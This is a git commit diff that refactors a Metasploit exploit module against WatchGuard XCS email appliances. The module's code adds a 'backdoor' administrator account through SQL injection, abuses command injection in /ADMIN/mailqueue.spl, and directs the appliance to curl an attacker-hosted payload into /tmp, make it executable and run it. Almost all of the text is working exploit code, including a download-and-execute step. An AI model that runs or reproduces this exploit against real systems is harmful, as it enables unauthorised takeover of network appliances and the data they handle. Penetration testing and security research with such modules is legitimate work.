Altered the module to use the primer callback, and refactored some code to remove useless functions etc

bug/bundler_fix
Daniel Jensen 2015-09-24 00:20:13 +12:00
parent 7985d0d7cb
commit 3dd917fd56
1 changed files with 66 additions and 74 deletions

View File

@ -36,6 +36,7 @@ class Metasploit4 < Msf::Exploit::Remote
'Platform' => 'bsd',
'Arch' => ARCH_X86_64,
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'Watchguard XCS 9.2/10.0', { }]
@ -53,6 +54,7 @@ class Metasploit4 < Msf::Exploit::Remote
OptString.new('TARGETURI', [true, 'The target URI', '/']),
OptString.new('USERNAME', [true, 'Web interface user account to add', 'backdoor']),
OptString.new('PASSWORD', [true, 'Web interface user password', 'backdoor']),
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
Opt::RPORT(443)
],
self.class
@ -73,36 +75,18 @@ class Metasploit4 < Msf::Exploit::Remote
def exploit
#Generate the password hash
pwd_clear = datastore['PASSWORD']
pwd_hash = generate_device_hash(pwd_clear)
username = datastore['USERNAME']
user_id = rand(999)
sid_cookie = attempt_login(username, pwd_clear)
unless sid_cookie
vprint_status("Failed to login, attempting to add backdoor user...")
unless add_user(user_id, username, pwd_hash, pwd_clear)
fail_with(Failure::Unknown, "Failed to add user account to database.")
end
sid_cookie = attempt_login(username, pwd_clear)
unless (sid_cookie)
fail_with(Failure::Unknown, "Unable to login with user account.")
end
end
#Get a valid session by logging in or exploiting SQLi to add user
@sid = get_session
#Check if cmd injection works
test_cmd_inj = send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, "id")
test_cmd_inj = send_cmd_exec("/ADMIN/mailqueue.spl", "id")
unless test_cmd_inj and test_cmd_inj.body =~ /uid=65534/
fail_with(Failure::UnexpectedReply, "Could not inject command")
fail_with(Failure::UnexpectedReply, "Could not inject command, may not be vulnerable")
end
#We have cmd exec, stand up an HTTP server and deliver the payload
vprint_status("Getting ready to drop binary on appliance")
downfile = rand_text_alpha(8+rand(8))
vprint_status("File name is #{downfile}")
#Generate payload
@pl = generate_payload_exe
@elf_sent = false
@ -116,44 +100,11 @@ class Metasploit4 < Msf::Exploit::Remote
end
end
resource_uri = '/' + downfile
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
#Start the server and use primer to trigger fetching and running of the payload
begin
Timeout.timeout(datastore['HTTPDELAY']) {super}
rescue Timeout::Error
end
service_url = 'https://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
filename = rand_text_alpha_lower(8)
vprint_status("Asking the appliance to download #{service_url}")
#Use the cmd exec to pull in shell
dnld_cmd1 = "/usr/local/sbin/curl -k #{service_url} -o /tmp/#{filename}"
vprint_status("Telling appliance to run #{dnld_cmd1}")
send_cmd_exec("/ADMIN/mailqueue.spl", sid_cookie, dnld_cmd1)
register_file_for_cleanup("/tmp/#{filename}")
#Wait for payload to be requested by appliance
wait_for_payload
#Chmod the shell binary
chmod_cmd = "chmod +x /tmp/#{filename}"
vprint_status("Chmoding payload #{downfile}...")
send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, chmod_cmd)
exec_cmd = "/tmp/#{filename}"
vprint_status("Running payload #{downfile}...")
send_cmd_exec("/ADMIN/mailqueue.spl",sid_cookie, exec_cmd, true)
end
def attempt_login(username,pwd_clear)
@ -234,11 +185,14 @@ class Metasploit4 < Msf::Exploit::Remote
return final_hash
end
def send_cmd_exec(uri,sid_cookie,os_cmd, blocking=false)
#This is a handler function that makes HTTP calls to exploit the command injection issue
def send_cmd_exec(uri,os_cmd,blocking=false)
#This is a handler function that makes HTTP calls to exploit the command injection issue
unless @sid
fail_with(Failure::Unknown, "Missing a session cookie when attempting to execute command.")
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{uri}"),
'cookie' => "sid=#{sid_cookie}",
'cookie' => "sid=#{@sid}",
'encode_params' => true,
'vars_get' => {
'f' => 'dnld',
@ -254,6 +208,56 @@ class Metasploit4 < Msf::Exploit::Remote
return res
end
def get_session
#Gets a valid login session, either valid creds or the SQLi vulnerability
username = datastore['USERNAME']
pwd_clear = datastore['PASSWORD']
user_id = rand(999)
sid_cookie = attempt_login(username, pwd_clear)
unless sid_cookie
vprint_status("Failed to login, attempting to add backdoor user...")
pwd_hash = generate_device_hash(pwd_clear)
unless add_user(user_id, username, pwd_hash, pwd_clear)
fail_with(Failure::Unknown, "Failed to add user account to database.")
end
sid_cookie = attempt_login(username, pwd_clear)
unless (sid_cookie)
fail_with(Failure::Unknown, "Unable to login with user account.")
end
end
return sid_cookie
end
#Make the server download the payload and run it
def primer
vprint_status("Primer hook called, make the server get and run exploit")
#Gets the autogenerated uri from the mixin
payload_uri = get_uri
filename = rand_text_alpha_lower(8)
print_status("Sending download request for #{payload_uri}")
dnld_cmd1 = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}"
vprint_status("Telling appliance to run #{dnld_cmd1}")
send_cmd_exec("/ADMIN/mailqueue.spl",dnld_cmd1)
register_file_for_cleanup("/tmp/#{filename}")
chmod_cmd = "chmod +x /tmp/#{filename}"
vprint_status("Chmoding the payload...")
send_cmd_exec("/ADMIN/mailqueue.spl",chmod_cmd)
exec_cmd = "/tmp/#{filename}"
vprint_status("Running the payload...")
send_cmd_exec("/ADMIN/mailqueue.spl",exec_cmd,true)
print_status("Finished primer hook")
end
#Handle incoming requests from the server
def on_request_uri(cli, request)
vprint_status("on_request_uri called: #{request.inspect}")
@ -261,16 +265,4 @@ class Metasploit4 < Msf::Exploit::Remote
@elf_sent = true
send_response(cli, @pl)
end
#Wait for the data to be sent
def wait_for_payload
waited = 0
while (not @elf_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > 10)
fail_with(Failure::Unknown, "Target didn't request the payload.")
end
end
end
end